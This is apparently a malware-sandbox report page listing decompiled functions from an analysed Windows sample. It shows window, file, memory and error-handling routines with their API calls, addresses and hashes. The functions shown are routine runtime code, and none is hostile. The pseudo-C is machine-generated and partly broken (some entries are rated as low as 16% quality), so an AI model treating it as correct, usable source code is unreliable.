Function 00423714 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423714(struct HWND__* __eax, int __edx, void* __eflags) {
				int _t3;
				void* _t8;
				int _t10;
				struct HWND__* _t11;

				_t10 = __edx;
				_t11 = __eax;
				_t8 = E004236C0();
				if(_t8 != 0) {
					E004236F0(0);
				}
				_t3 = ShowWindow(_t11, _t10); // executed
				if(_t8 != 0) {
					return E004236F0(1);
				}
				return _t3;
			}

0x00423717
0x00423719
0x00423720
0x00423724
0x00423728
0x00423728
0x0042372f
0x00423736
0x00000000
0x0042373a
0x00423742

APIs

Part of subcall function 004236C0: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 004236D5

ShowWindow.USER32(00410718,00000009,?,00000000,0041EE6C,00423A02,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000), ref: 0042372F

Part of subcall function 004236F0: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 0042370C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: InfoParametersSystem$ShowWindow
String ID:
API String ID: 3202724764-0
Opcode ID: 770afa24fe7550dadab928d38750dae13ac9c0c6fd680db7553044468440b3c9
Instruction ID: acb803ed99d8a779adfd935bf79fac66e91ef2ff7e35841efc32692bfe1f30af
Opcode Fuzzy Hash: 770afa24fe7550dadab928d38750dae13ac9c0c6fd680db7553044468440b3c9
Instruction Fuzzy Hash: AFD0A7923812702187307EBB3846A9B52BC4DD22E7388483FB550C7303ED9D8E0210BC

Uniqueness

Uniqueness Score: -1.00%

Function 0042438C Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042438C(void* __eax, void* __edx, void* __edi) {
				void* __ebx;
				void* __esi;
				int _t10;

				_t11 = __eax;
				if( *((char*)(__eax + 0x7e)) == 0) {
					_t3 = _t11 + 0x6c; // 0x216247c
					return E00403598(_t3, __eax, __edx, __edi, __edx);
				} else {
					_t10 = SetWindowTextA( *(_t11 + 0x20), E00403880(__edx)); // executed
					return _t10;
				}
			}

0x00424390
0x00424396
0x004243ac
0x004243b8
0x00424398
0x004243a4
0x004243ab
0x004243ab

APIs

SetWindowTextA.USER32(?,00000000), ref: 004243A4

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 5766a25384be28116e18b02812b6949491dca06ef70728af85351d8e04794ef0
Instruction ID: 37361632d4d514c50c0f5b3b94c48c5e4f37ef369a7246e00f52f19e18fb69a1
Opcode Fuzzy Hash: 5766a25384be28116e18b02812b6949491dca06ef70728af85351d8e04794ef0
Instruction Fuzzy Hash: 74D012A270013027C701BAA95484A8567CC4B8925671540ABF904D7296C6388A404358

Uniqueness

Uniqueness Score: -1.00%

Function 00460A8C Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00460A8C(void* __ecx, intOrPtr* __edx) {

				_push( *((intOrPtr*)(__edx + 0x2c)));
				_push( *((intOrPtr*)(__edx + 0x30)) - __ecx);
				return  *((intOrPtr*)( *__edx + 0x4c))();
			}

0x00460a93
0x00460a99
0x00460aa9

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00461704,00000000,00000000,00000000,00400000,STOPIMAGE,0000000C,00000000), ref: 00460AA4

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00406F54 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

6C8D5CA0.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A98C,0040CF38,?,?,00000000), ref: 00406F71

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 433f440210a344e7a3304f08861641889f46d5e1c7f71bb4f49350f7bdef092c
Instruction ID: fbf433f388ee34c674fb7f0d47a908a919ece7d44da589a3048eb8b88fcd3b6d
Opcode Fuzzy Hash: 433f440210a344e7a3304f08861641889f46d5e1c7f71bb4f49350f7bdef092c
Instruction Fuzzy Hash: 16C048A138030032F92026B60C87F2600885704F19E64857AB784BE1C2C8E9A808011C

Uniqueness

Uniqueness Score: -1.00%

Function 004321C0 Relevance: 1.5, APIs: 1, Instructions: 13
comCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004321C0(void* __ecx, void* __edi) {
				intOrPtr _t5;

				E00404B7C(0x48c91c);
				_push(0); // executed
				L0042CC68(); // executed
				 *0x48c008 = E00431BA0;
				 *0x48d678 = E00432078(__ecx, 1, __edi);
				_t5 =  *0x48d020; // 0x44f3b4
				 *0x48d67c = _t5;
				 *0x48d020 = E0043205C;
				return _t5;
			}

0x004321c5
0x004321ca
0x004321cc
0x004321d1
0x004321e7
0x004321ec
0x004321f1
0x004321f6
0x00432200

APIs

OleInitialize.OLE32(00000000), ref: 004321CC

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: df445557e7b044264c1bd33c4ff95ea1a8a72b63f89f17b380f8b90f7f5f6f80
Instruction ID: 9b37a0a06ce19e8ef19df0e59975e005822ebcec00dd204071a81c40df8ba161
Opcode Fuzzy Hash: df445557e7b044264c1bd33c4ff95ea1a8a72b63f89f17b380f8b90f7f5f6f80
Instruction Fuzzy Hash: 80D067B49062048AD340BF69A985B0C3BA0A74E74CFA0993FE508A62A1D77954499F1D

Uniqueness

Uniqueness Score: -1.00%

Function 00450104 Relevance: 1.5, APIs: 1, Instructions: 11
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00450104(intOrPtr* __eax) {
				int _t4;
				intOrPtr* _t7;

				_t7 = __eax;
				_t4 = SetEndOfFile( *(__eax + 4)); // executed
				if(_t4 == 0) {
					return E0044FFFC( *_t7);
				}
				return _t4;
			}

0x00450105
0x0045010b
0x00450112
0x00000000
0x00450116
0x0045011c

APIs

SetEndOfFile.KERNEL32(?,00000000,0046730A), ref: 0045010B

Part of subcall function 0044FFFC: GetLastError.KERNEL32(0044FD08,0044FE2D,?,00000000,?,0048AA7A,00000001,00000000,00000002,00000000,0048ABE3,?,?,00000005,00000000,0048AC17), ref: 0044FFFF

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 7f2d6b46b854857be2457e499f427f7ef468b9c3465d519b02ef8c24fe06530d
Instruction ID: 8ba7de62c0f8f2b826c565226acfba955b7b40c9ce9c5bc33c07dfd11b4ca65a
Opcode Fuzzy Hash: 7f2d6b46b854857be2457e499f427f7ef468b9c3465d519b02ef8c24fe06530d
Instruction Fuzzy Hash: A2C09B6530061547DF00E6BEC9C1A0777EC5F593053104077F918CF217E769EC084729

Uniqueness

Uniqueness Score: -1.00%

Function 0040733C Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040733C(void* __eax) {
				signed int _t4;

				_t4 = SetCurrentDirectoryA(E00403880(__eax)); // executed
				asm("sbb eax, eax");
				return  ~( ~_t4);
			}

0x00407347
0x0040734e
0x00407353

APIs

SetCurrentDirectoryA.KERNEL32(00000000,?,0048AA46,00000000,0048ABE3,?,?,00000005,00000000,0048AC17,?,?,00000000), ref: 00407347

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 2fbdcd1769973cdfba2b5d519fc1f3131b777102045368f03a3cadaf0bd6878e
Instruction ID: 896aec1077dce6a9c9566130b3b637ad8921e49b9395fb70f53529d07e155150
Opcode Fuzzy Hash: 2fbdcd1769973cdfba2b5d519fc1f3131b777102045368f03a3cadaf0bd6878e
Instruction Fuzzy Hash: F2B012F13A030A1ACE007AFE4CC191604DC464C3163401B7E7006E71C3DD3CE508001C

Uniqueness

Uniqueness Score: -1.00%

Function 0042E2AB Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0042E2AB() {
				int _t4;
				intOrPtr _t7;
				void* _t8;

				_pop(_t7);
				 *[fs:eax] = _t7;
				_push(E0042E2C9);
				_t4 = SetErrorMode( *(_t8 - 0xc)); // executed
				return _t4;
			}

0x0042e2ad
0x0042e2b0
0x0042e2b3
0x0042e2bc
0x0042e2c1

APIs

SetErrorMode.KERNEL32(?,0042E2C9), ref: 0042E2BC

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 0b6356324c10b9c5315b82fe1bd37e37c079b3f508247d09bf8e24882e174b41
Instruction ID: d44268c39032d66eb9059e67749796375290d63107054dc34eb47e6ccc5263f2
Opcode Fuzzy Hash: 0b6356324c10b9c5315b82fe1bd37e37c079b3f508247d09bf8e24882e174b41
Instruction Fuzzy Hash: 1EB09B7A70C6009DEB0997D7B41551973E8D7C47103F148B7F000D6580D57C6400463C

Uniqueness

Uniqueness Score: -1.00%

Function 004166B4 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004166B4(void* __eax) {
				intOrPtr _t3;

				_t3 =  *((intOrPtr*)(__eax + 0xc0));
				_push(_t3); // executed
				L00405F64(); // executed
				return _t3;
			}

0x004166b4
0x004166ba
0x004166bb
0x004166c0

APIs

740C9840.USER32(?), ref: 004166BB

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: C9840
String ID:
API String ID: 3822654940-0
Opcode ID: da20a264590b8da76bcc673a24629bda81143ece4f0058ab807c22f450b41b4b
Instruction ID: e9a41f564f419c910e8f91a975f78234a4d9e50f6d6e429a21b41bd5f0bff929
Opcode Fuzzy Hash: da20a264590b8da76bcc673a24629bda81143ece4f0058ab807c22f450b41b4b
Instruction Fuzzy Hash: 46A002655016019ADE04B7B5888DF662298BB48208FCD05F971049B052C53C94008A18

Uniqueness

Uniqueness Score: -1.00%

Function 004487BC Relevance: 1.4, APIs: 1, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004487BC(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v21;
				signed int _v28;
				void* _t63;
				void* _t98;
				char _t108;
				char _t112;
				void* _t113;
				char _t114;
				intOrPtr _t138;
				intOrPtr _t147;
				intOrPtr _t150;
				char _t153;
				void* _t155;
				void* _t156;
				intOrPtr _t157;
				void* _t160;

				_t160 = __fp0;
				_t155 = _t156;
				_t157 = _t156 + 0xffffffe8;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v28 = 0;
				_v12 = __edx;
				_v8 = __eax;
				_t150 = _a4;
				_push(_t155);
				_push(0x44899c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t157;
				if( *((intOrPtr*)(_v12 + 0xc)) == 0) {
					__eflags =  *((intOrPtr*)(_v12 + 8));
					if(__eflags != 0) {
						L5:
						E004035DC( &_v28,  *((intOrPtr*)(_v12 + 0x18)));
						E00403900( &_v28, E004039A4(0x4489b8, _v28), 1);
						E00403900( &_v28, E004039A4(0x4489b8, _v28), 1);
						_t63 = E004036BC(_v28);
						__eflags = _t63 - 2;
						if(_t63 >= 2) {
							_v21 =  *_v28;
							E00403900( &_v28, 2, 1);
							_t153 =  *((intOrPtr*)(_t150 + 0xc)) - E004036BC(_v28);
							__eflags =  *_v28;
							if( *_v28 == 0) {
								_t153 = _t153 + 1;
								__eflags = _t153;
							}
							_v16 = E00431034(1, _t150);
							_t112 = E004036BC(_v28) - 2;
							__eflags = _t112;
							if(_t112 >= 0) {
								_t114 = _t112 + 1;
								__eflags = _t114;
								do {
									E00431104(_v16, 0, _t150);
									_t114 = _t114 - 1;
									__eflags = _t114;
								} while (_t114 != 0);
							}
							_t113 = E004036BC(_v28);
							__eflags = _t113 - 2;
							if(_t113 >= 2) {
								do {
									_t98 = E0044708C(_t150, _t153);
									__eflags =  *((char*)(_v28 + _t113 - 1));
									E0043120C(_v16, E004436C0(_t98, _v28 & 0xffffff00 |  *((char*)(_v28 + _t113 - 1)) != 0x00000000), _t113 - 2);
									_t153 = _t153 + 1;
									_t113 = _t113 - 1;
									__eflags = _t113 - 1;
								} while (_t113 != 1);
							}
							__eflags =  *_v28;
							if( *_v28 == 0) {
								__eflags = 0;
								_v20 = 0;
							} else {
								_v20 = E004436C0(E0044708C(_t150, _t153), 1);
							}
							_push(_t155);
							_push(0x44897d);
							_push( *[fs:eax]);
							 *[fs:eax] = _t157;
							E00442424(_v8, _t113,  *((intOrPtr*)(_v12 + 8)), 0, _t150, _t153, _t160, _v20, _v16, 0); // executed
							E00448590(_v8, GetLastError(), __eflags);
							__eflags = 0;
							_pop(_t138);
							 *[fs:eax] = _t138;
							_push(0x448984);
							E00443700(_v20);
							return E00443710(_v16);
						} else {
							goto L18;
						}
					} else {
						_t108 = E004485FC(_v8, 0, _v12, _t150, __esi, __eflags);
						__eflags = _t108;
						if(_t108 != 0) {
							goto L5;
						} else {
							goto L18;
						}
					}
				} else {
					L18:
					_pop(_t147);
					 *[fs:eax] = _t147;
					_push(0x4489a3);
					return E00403548( &_v28);
				}
			}

0x004487bc
0x004487bd
0x004487bf
0x004487c2
0x004487c3
0x004487c4
0x004487c7
0x004487ca
0x004487cd
0x004487d0
0x004487d5
0x004487d6
0x004487db
0x004487de
0x004487e8
0x004487f4
0x004487f8
0x00448810
0x00448819
0x00448835
0x00448851
0x00448859
0x0044885e
0x00448861
0x0044886f
0x0044887f
0x0044888f
0x00448894
0x00448897
0x00448899
0x00448899
0x00448899
0x004488a6
0x004488b3
0x004488b3
0x004488b6
0x004488b8
0x004488b8
0x004488b9
0x004488be
0x004488c3
0x004488c3
0x004488c3
0x004488b9
0x004488ce
0x004488d0
0x004488d3
0x004488d5
0x004488d9
0x004488e1
0x004488f8
0x004488fd
0x004488fe
0x004488ff
0x004488ff
0x004488d5
0x00448907
0x0044890a
0x00448921
0x00448923
0x0044890c
0x0044891c
0x0044891c
0x00448928
0x00448929
0x0044892e
0x00448931
0x0044894b
0x0044895a
0x0044895f
0x00448961
0x00448964
0x00448967
0x0044896f
0x0044897c
0x00448863
0x00000000
0x00448863
0x004487fa
0x00448800
0x00448805
0x00448807
0x00000000
0x00448809
0x00000000
0x00448809
0x00448807
0x004487ea
0x00448986
0x00448988
0x0044898b
0x0044898e
0x0044899b
0x0044899b

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e35ca788a800f441d4abc29cdf2e714a1d2045ec6d2750f6368b2cacc4690ae
Instruction ID: 5d73c6f8daca525de1b34ad835d17be6b4db68b1b7569b0a0447b861dcc13144
Opcode Fuzzy Hash: 1e35ca788a800f441d4abc29cdf2e714a1d2045ec6d2750f6368b2cacc4690ae
Instruction Fuzzy Hash: 2A5183B0A005099FEB01EFA9C882AAFBBF5EF48314F50447AE500E7351DA789D45CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041F48C Relevance: 1.3, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F48C(intOrPtr _a4, intOrPtr _a8) {
				void* _t14;
				void _t15;
				intOrPtr _t25;
				char* _t26;
				void* _t35;

				if( *0x48d650 == 0) {
					_t14 = VirtualAlloc(0, 0x1000, 0x1000, 0x40); // executed
					_t35 = _t14;
					_t15 =  *0x48d64c; // 0x860000
					 *_t35 = _t15;
					_t1 = _t35 + 4; // 0x4
					E00402740(0x48c598, 2, _t1);
					_t2 = _t35 + 5; // 0x5
					 *((intOrPtr*)(_t35 + 6)) = E0041F484(_t2, E0041F464);
					_t4 = _t35 + 0xa; // 0xa
					_t26 = _t4;
					do {
						 *_t26 = 0xe8;
						_t5 = _t35 + 4; // 0x4
						 *((intOrPtr*)(_t26 + 1)) = E0041F484(_t26, _t5);
						 *((intOrPtr*)(_t26 + 5)) =  *0x48d650;
						 *0x48d650 = _t26;
						_t26 = _t26 + 0xd;
					} while (_t26 - _t35 < 0xffc);
					 *0x48d64c = _t35;
				}
				_t25 =  *0x48d650;
				_t8 = _t25 + 5; // 0x94004106
				 *0x48d650 =  *_t8;
				 *((intOrPtr*)(_t25 + 5)) = _a4;
				 *((intOrPtr*)(_t25 + 9)) = _a8;
				return  *0x48d650;
			}

0x0041f49a
0x0041f4aa
0x0041f4af
0x0041f4b1
0x0041f4b6
0x0041f4b8
0x0041f4c5
0x0041f4cf
0x0041f4d7
0x0041f4da
0x0041f4da
0x0041f4dd
0x0041f4dd
0x0041f4e0
0x0041f4ea
0x0041f4ef
0x0041f4f2
0x0041f4f4
0x0041f4fb
0x0041f502
0x0041f502
0x0041f50a
0x0041f50c
0x0041f50f
0x0041f514
0x0041f51a
0x0041f521

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EE6C,?,00423957,00423CD4,0041EE6C), ref: 0041F4AA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 402590cf4b5d7f110bb94798805d05b5fec5b95a2efd47f6f4f18a6dc87802f2
Instruction ID: 42afb4f221658e7fb89e2175542a32d299b5515218ded37e71f0002ca044b13b
Opcode Fuzzy Hash: 402590cf4b5d7f110bb94798805d05b5fec5b95a2efd47f6f4f18a6dc87802f2
Instruction Fuzzy Hash: 28117C746403059FC710EF19D880B86F7E5EF98350F10C93AE9989B396D378E949CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00451A68 Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00451A68(void* __eax, void* __ecx, void* __edx, void* __eflags, void* _a4, void* _a8) {
				intOrPtr _v8;
				char _v16;
				long _v20;
				intOrPtr _t17;
				intOrPtr _t33;
				void* _t41;
				void* _t43;
				intOrPtr _t44;

				_t41 = _t43;
				_t44 = _t43 + 0xfffffff0;
				if(E004512D8( *((intOrPtr*)(__eax + 0xc)),  &_v16) != 0) {
					_push(_t41);
					_push(0x451ad1);
					_push( *[fs:eax]);
					 *[fs:eax] = _t44;
					_t17 = E0044FE7C(__ecx, __edx, 0, 0); // executed
					_v8 = _t17;
					_v20 = GetLastError();
					_pop(_t33);
					 *[fs:eax] = _t33;
					_push(0x451ad8);
					return E00451314( &_v16);
				} else {
					_v8 = 0xffffffff;
					return _v8;
				}
			}

0x00451a69
0x00451a6b
0x00451a84
0x00451a91
0x00451a92
0x00451a97
0x00451a9a
0x00451aab
0x00451ab0
0x00451ab8
0x00451abd
0x00451ac0
0x00451ac3
0x00451ad0
0x00451a86
0x00451a86
0x00451aea
0x00451aea

APIs

GetLastError.KERNEL32(00000000,00451AD1), ref: 00451AB3

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9a2442602f04fca4c12d272be6812ac72593b6de9992ca1bcbe19b3311dd92df
Instruction ID: 6fba9e0342ff494ad0917aee243d04831ce01c0435d3168b0008c0cc2e51abc3
Opcode Fuzzy Hash: 9a2442602f04fca4c12d272be6812ac72593b6de9992ca1bcbe19b3311dd92df
Instruction Fuzzy Hash: 5D014C356046046A8B01DF6A98405EEF7E8DB49320B2082B7FC14D3762D6344D059664

Uniqueness

Uniqueness Score: -1.00%

Function 0045A724 Relevance: 1.3, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045A724(void* __eax) {
				void* _t8;
				void* _t11;

				_t11 = __eax;
				 *((intOrPtr*)(__eax + 0x18)) = 0;
				 *((intOrPtr*)(__eax + 0x20)) = 0;
				_t8 =  *(__eax + 0x1c);
				if(_t8 != 0) {
					VirtualFree(_t8, 0, 0x8000); // executed
					 *((intOrPtr*)(_t11 + 0x1c)) = 0;
					return 0;
				}
				return _t8;
			}

0x0045a725
0x0045a729
0x0045a72e
0x0045a731
0x0045a736
0x0045a740
0x0045a747
0x00000000
0x0045a747
0x0045a74b

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,0045A861), ref: 0045A740

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: e5a1d81624fd0ea0ca6df7bb48e7ecff761dbb388dc9058928e02473b5d13605
Instruction ID: b68ac2cbadfdda480c967e6d055cfdd63c693a43d000438897aaa66405a27238
Opcode Fuzzy Hash: e5a1d81624fd0ea0ca6df7bb48e7ecff761dbb388dc9058928e02473b5d13605
Instruction Fuzzy Hash: 60D092B17107005FEB94CF7A8CC5B0326E8BB08601B2185BAA908DB286E678D4208B58

Uniqueness

Uniqueness Score: -1.00%

Function 00406FDC Relevance: 1.3, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406FDC(void* __eax) {
				int _t2;

				_t2 = CloseHandle(__eax); // executed
				return _t2;
			}

0x00406fdd
0x00406fe2

APIs

CloseHandle.KERNEL32 ref: 00406FDD

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
